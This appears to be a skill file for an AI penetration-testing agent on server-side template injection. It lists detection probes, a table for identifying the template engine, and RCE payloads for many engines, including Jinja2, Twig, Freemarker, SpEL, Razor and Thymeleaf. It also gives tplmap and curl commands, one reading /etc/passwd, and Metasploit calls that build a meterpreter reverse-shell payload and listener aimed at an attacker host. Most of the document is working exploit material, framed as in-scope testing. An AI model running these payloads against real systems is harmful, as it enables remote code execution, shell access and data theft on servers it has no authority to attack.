| name | ssti-pentest |
| description | Guides server-side template injection testing with engine identification probes, RCE payloads per template engine, and tplmap automation. Use when template delimiters appear in output, template engine errors surface, or user input is rendered inside server-side templates. |
Server-Side Template Injection Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load
web-app-pentest for overall web testing context.
Triggers
- Template syntax visible:
{{, }}, ${, <%, #{}, *{
- Error messages naming Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, ERB, Pug
- User-controlled input echoed in emails, PDFs, error pages, or preview features
- Arithmetic probes (
{{7*7}}, ${7*7}) return 49 in response body
- Debug/template preview endpoints in dev or admin panels
Workflow
Task Progress:
- [ ] Identify injection points and map tech stack
- [ ] Test with math expression detection payloads
- [ ] Confirm engine via differential responses or error messages
- [ ] Escalate with engine-specific RCE/file-read payloads
- [ ] Document with request/response evidence and command output proof
Detection
Universal math probes
CLI (primary for web vulns):
tplmap -u "http://<target>/page?name=test" --level 1
curl -s "http://<target>/page?name={{7*7}}"
curl -s "http://<target>/page?name=\${7*7}"
Probes: {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, @(7*7)
MSF MCP: No direct module. Use msf_search_modules(query="template injection") or msf_search_modules(query="ssti").
Engine identification
CLI (primary):
tplmap -u "http://<target>/page?name=test" --level 2
| Probe | Result | Engine |
|---|
{{7*'7'}} = 7777777 | Jinja2 | |
{{7*'7'}} = 49 | Twig | |
${7*7} = 49 | Freemarker/Velocity/Mako | |
<%= 7*7 %> = 49 | ERB | |
#{7*7} = 49 | Thymeleaf | |
Polyglot: ${{<%[%'"}}%\.
MSF MCP: No direct module.
Exploitation by engine
Jinja2 (Python)
CLI (primary):
tplmap -u "http://<target>/page?name=test" --engine jinja2 --os-cmd "id"
tplmap -u "http://<target>/page?name=test" --engine jinja2 --os-shell
Payload: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
MSF MCP: No direct module. Post-RCE use msf_generate_payload.
Twig (PHP)
CLI (primary):
tplmap -u "http://<target>/page?name=test" --engine twig --os-cmd "id"
Payload: {{['id']|filter('system')}}, {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
MSF MCP: No direct module.
Freemarker and Velocity (Java)
CLI (primary):
tplmap -u "http://<target>/page?name=test" --engine freemarker --os-cmd "id"
tplmap -u "http://<target>/page?name=test" --engine velocity --os-cmd "id"
Freemarker: ${"freemarker.template.utility.Execute"?new()("id")}
MSF MCP: No direct module.
Smarty (PHP)
CLI (primary):
tplmap -u "http://<target>/page?name=test" --engine smarty --os-cmd "id"
Legacy: {php}echo \id`;{/php}` (Smarty <= 3.1)
MSF MCP: No direct module.
Mako and ERB
CLI (primary):
tplmap -u "http://<target>/page?name=test" --engine mako --os-cmd "id"
Mako: <% import os %><%= os.popen('id').read() %>
ERB: <%= \id` %>`
MSF MCP: No direct module.
Pebble (Java)
CLI (primary):
curl -s "http://<target>/page?name={% set cmd = 'id' %}{{ cmd }}"
curl -s "http://<target>/page?name={% set c = 'cat /etc/passwd' %}{% set p = c.getClass().forName('java.lang.Runtime').getRuntime().exec(c) %}"
Test {% %} blocks; gadget chains vary by Pebble version and allowed types.
MSF MCP: No direct module.
Spring EL (SpEL)
CLI (primary):
curl -s "http://<target>/page?name=\${T(java.lang.Runtime).getRuntime().exec('id')}"
curl -s "http://<target>/page?name=\${new java.lang.ProcessBuilder(new java.lang.String[]{'id'}).start()}"
MSF: No direct Spring EL module. Use msf_search_modules(query="spring") for current modules.
Razor (.NET)
CLI (primary):
curl -s "http://<target>/page?name=@(1+1)"
curl -s "http://<target>/page?name=@{var p=new System.Diagnostics.Process();p.StartInfo.FileName=\"cmd\";p.StartInfo.Arguments=\"/c whoami\";p.Start();}"
MSF MCP: No direct module. Use msf_search_modules(query="dotnet template").
Django templates
CLI (primary):
curl -s "http://<target>/page?name={% debug %}"
curl -s "http://<target>/page?name={{settings.SECRET_KEY}}"
Django auto-escapes; test debug mode, {% debug %}, filter abuse. RCE via settings leak + known CVEs.
MSF MCP: No direct module.
Thymeleaf (Java)
CLI (primary):
tplmap -u "http://<target>/page?name=test" --engine thymeleaf --os-cmd "id"
Payload: __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
MSF MCP: No direct module.
Handlebars (Node.js)
CLI (primary):
curl -s "http://<target>/page?name={{#with \"s\" as |string|}}{{/with}}"
Requires prototype pollution or known gadget; test sandbox escape variants.
MSF MCP: No direct module.
Sandbox version-specific gadgets
CLI (primary):
tplmap -u "http://<target>/page?name=test" --level 5 --technique R
Match gadget index to runtime library versions; tplmap auto-enumerates when --level high.
MSF MCP: No direct module.
WAF bypass
CLI (primary):
tplmap -u "http://<target>/page?name=test" --level 5
String concat: {{'i'+'d'}}, hex/unicode encoding, newline injection in multi-line fields.
MSF MCP: No direct module.
Impact escalation
| Stage | CLI | MSF MCP |
|---|
| Info leak | {{config}}, {{settings}} | search only |
| File read | subclass gadget | N/A |
| RCE | tplmap --os-shell | generate_payload |
| Shell | reverse shell via RCE | start_listener |
MSF MCP post-RCE:
msf_generate_payload(
engagement_id="<id>",
payload="linux/x64/meterpreter/reverse_tcp",
format="elf",
options={"LHOST": "<attacker>", "LPORT": 4444},
output_path="evidence/msf/payload.elf"
)
msf_start_listener(
engagement_id="<id>",
payload="linux/x64/meterpreter/reverse_tcp",
lhost="<attacker>",
lport=4444
)
Tool reference
tplmap -u "http://<target>/page?name=test"
tplmap -u "http://<target>/page?name=test" --engine jinja2 --os-shell
tplmap -u "http://<target>/page?name=test" --os-cmd "id" --level 5
tplmap -u "http://<target>/page?name=test" -X POST -d "name"
Related skills
web-app-pentest - overall web testing flow
cmdi-pentest - SSTI often yields OS command execution via template gadgets
xss-pentest - some template engines allow XSS before full RCE